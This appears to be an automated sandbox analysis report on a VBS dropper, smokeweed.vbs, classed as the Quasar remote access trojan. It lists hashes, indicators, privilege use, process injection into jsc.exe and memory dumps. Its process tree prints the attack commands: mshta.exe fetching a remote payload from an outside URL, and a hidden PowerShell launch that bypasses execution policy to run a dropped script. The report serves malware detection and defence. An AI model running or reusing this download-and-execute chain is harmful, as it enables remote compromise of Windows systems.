quasar | 78a881cbc86ce0458d8db0eae0c92a8e016537796ef3ab7928037f4a51d4ca2f

General

Target

smokeweed.vbs
Size

3KB
MD5

07b8be238ea7e4d28ab60dd6c485f663
SHA1

73c2226a8592f0a729a837013d40e5b55ecb4415
SHA256

78a881cbc86ce0458d8db0eae0c92a8e016537796ef3ab7928037f4a51d4ca2f
SHA512

9d1bcf4a17c4b7986e2fec74f0d4ba020ea2e4933ff9cad19a639d87f0998a32439a227bcd55bf37d08886276a11ede28f06a60af12b6a368b5cdbd2544cf7a0

Score

10^/10

quasar spyware trojan

Malware Config

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Blocklisted process makes network request 4 IoCs

Processes:

mshta.exepowershell.exe

flow pid process

8 3744 mshta.exe
10 3744 mshta.exe
13 3744 mshta.exe
16 1352 powershell.exe
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

27 ip-api.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1352 set thread context of 2692 1352 powershell.exe jsc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

2324 powershell.exe
2324 powershell.exe
2324 powershell.exe
1352 powershell.exe
1352 powershell.exe
1352 powershell.exe

flow	pid	process
8	3744	mshta.exe
10	3744	mshta.exe
13	3744	mshta.exe
16	1352	powershell.exe

flow	ioc
27	ip-api.com

description	pid	process	target process
PID 1352 set thread context of 2692	1352	powershell.exe	jsc.exe

pid	process
2324	powershell.exe
2324	powershell.exe
2324	powershell.exe
1352	powershell.exe
1352	powershell.exe
1352	powershell.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

powershell.exepowershell.exejsc.exe

description	pid	process
Token: SeDebugPrivilege	2324	powershell.exe
Token: SeDebugPrivilege	1352	powershell.exe
Token: SeIncreaseQuotaPrivilege	1352	powershell.exe
Token: SeSecurityPrivilege	1352	powershell.exe
Token: SeTakeOwnershipPrivilege	1352	powershell.exe
Token: SeLoadDriverPrivilege	1352	powershell.exe
Token: SeSystemProfilePrivilege	1352	powershell.exe
Token: SeSystemtimePrivilege	1352	powershell.exe
Token: SeProfSingleProcessPrivilege	1352	powershell.exe
Token: SeIncBasePriorityPrivilege	1352	powershell.exe
Token: SeCreatePagefilePrivilege	1352	powershell.exe
Token: SeBackupPrivilege	1352	powershell.exe
Token: SeRestorePrivilege	1352	powershell.exe
Token: SeShutdownPrivilege	1352	powershell.exe
Token: SeDebugPrivilege	1352	powershell.exe
Token: SeSystemEnvironmentPrivilege	1352	powershell.exe
Token: SeRemoteShutdownPrivilege	1352	powershell.exe
Token: SeUndockPrivilege	1352	powershell.exe
Token: SeManageVolumePrivilege	1352	powershell.exe
Token: 33	1352	powershell.exe
Token: 34	1352	powershell.exe
Token: 35	1352	powershell.exe
Token: 36	1352	powershell.exe
Token: SeDebugPrivilege	2692	jsc.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

WScript.exeWScript.exemshta.exepowershell.exe

description	pid	process	target process
PID 880 wrote to memory of 2064	880	WScript.exe	WScript.exe
PID 880 wrote to memory of 2064	880	WScript.exe	WScript.exe
PID 2064 wrote to memory of 3744	2064	WScript.exe	mshta.exe
PID 2064 wrote to memory of 3744	2064	WScript.exe	mshta.exe
PID 3744 wrote to memory of 2324	3744	mshta.exe	powershell.exe
PID 3744 wrote to memory of 2324	3744	mshta.exe	powershell.exe
PID 2064 wrote to memory of 1352	2064	WScript.exe	powershell.exe
PID 2064 wrote to memory of 1352	2064	WScript.exe	powershell.exe
PID 1352 wrote to memory of 2692	1352	powershell.exe	jsc.exe
PID 1352 wrote to memory of 2692	1352	powershell.exe	jsc.exe
PID 1352 wrote to memory of 2692	1352	powershell.exe	jsc.exe
PID 1352 wrote to memory of 2692	1352	powershell.exe	jsc.exe
PID 1352 wrote to memory of 2692	1352	powershell.exe	jsc.exe
PID 1352 wrote to memory of 2692	1352	powershell.exe	jsc.exe
PID 1352 wrote to memory of 2692	1352	powershell.exe	jsc.exe
PID 1352 wrote to memory of 2692	1352	powershell.exe	jsc.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\smokeweed.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:880

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\smokeweed.vbs" /elevate
2⤵
- Suspicious use of WriteProcessMemory
PID:2064

C:\Windows\System32\mshta.exe
"C:\Windows\System32\mshta.exe" https://z.zz.ht/bBtXS.txt
3⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3744

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2324

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -command C:\Users\Public\Datax.ps1;
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1352

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2692

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
MD5
2143b379fed61ab5450bab1a751798ce

SHA1
32f5b4e8d1387688ee5dec6b3cc6fd27b454f19e

SHA256
a2c739624812ada0913f2fbfe13228e7e42a20efdcb6d5c4e111964f9b620f81

SHA512
0bc39e3b666fdad76bcf4fe7e7729c9e8441aa2808173efc8030ce07c753cb5f7e25d81dd8ec75e7a5b6324b7504ff461e470023551976a2a6a415d6a4859bfa

Download Submit
C:\Users\Public\Datax.ps1
MD5
c85a52e535d54935f25bc43e8b393b1a

SHA1
963baebff776005de53b5c68608c5c5205400b50

SHA256
0545f59b84c4323711d72e396797694068bd7a56695aea0cdd90352a4a0c7753

SHA512
729398ee2dbb41b6f38c106dd3a75fbb695f700b009e6f5267f4242588764a5b3b407b7e2fbb17f9fd4cfc8684e04c39c2e68b6b400de750c2c2c4967d49f184

Download Submit
memory/1352-12-0x00007FF9415B0000-0x00007FF941F9C000-memory.dmp

Filesize
9.9MB

Download
memory/1352-21-0x0000021598490000-0x0000021598496000-memory.dmp

Filesize
24KB

Download
memory/1352-20-0x00000215FF8D8000-0x00000215FF8DA000-memory.dmp

Filesize
8KB

Download
memory/1352-19-0x00000215FF8D6000-0x00000215FF8D8000-memory.dmp

Filesize
8KB

Download
memory/1352-15-0x00000215FF8D3000-0x00000215FF8D5000-memory.dmp

Filesize
8KB

Download
memory/1352-14-0x00000215FF8D0000-0x00000215FF8D2000-memory.dmp

Filesize
8KB

Download
memory/1352-11-0x0000000000000000-mapping.dmp

Download
memory/2064-2-0x0000000000000000-mapping.dmp

Download
memory/2324-9-0x0000025BED540000-0x0000025BED541000-memory.dmp

Filesize
4KB

Download
memory/2324-10-0x0000025BED860000-0x0000025BED861000-memory.dmp

Filesize
4KB

Download
memory/2324-8-0x0000025BD3A43000-0x0000025BD3A45000-memory.dmp

Filesize
8KB

Download
memory/2324-7-0x0000025BD3A40000-0x0000025BD3A42000-memory.dmp

Filesize
8KB

Download
memory/2324-6-0x0000025BD3A50000-0x0000025BD3A51000-memory.dmp

Filesize
4KB

Download
memory/2324-5-0x00007FF9415B0000-0x00007FF941F9C000-memory.dmp

Filesize
9.9MB

Download
memory/2324-4-0x0000000000000000-mapping.dmp

Download
memory/2692-24-0x0000000073500000-0x0000000073BEE000-memory.dmp

Filesize
6.9MB

Download
memory/2692-22-0x0000000000400000-0x000000000045E000-memory.dmp

Filesize
376KB

Download
memory/2692-23-0x000000000045819E-mapping.dmp

Download
memory/2692-27-0x00000000054E0000-0x00000000054E1000-memory.dmp

Filesize
4KB

Download
memory/2692-28-0x0000000004FE0000-0x0000000004FE1000-memory.dmp

Filesize
4KB

Download
memory/2692-30-0x0000000004FA0000-0x0000000004FA1000-memory.dmp

Filesize
4KB

Download
memory/2692-31-0x0000000004F30000-0x0000000004F31000-memory.dmp

Filesize
4KB

Download
memory/2692-32-0x00000000054A0000-0x00000000054A1000-memory.dmp

Filesize
4KB

Download
memory/2692-33-0x00000000061D0000-0x00000000061D1000-memory.dmp

Filesize
4KB

Download
memory/2692-34-0x0000000006900000-0x0000000006901000-memory.dmp

Filesize
4KB

Download
memory/3744-3-0x0000000000000000-mapping.dmp

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Analysis

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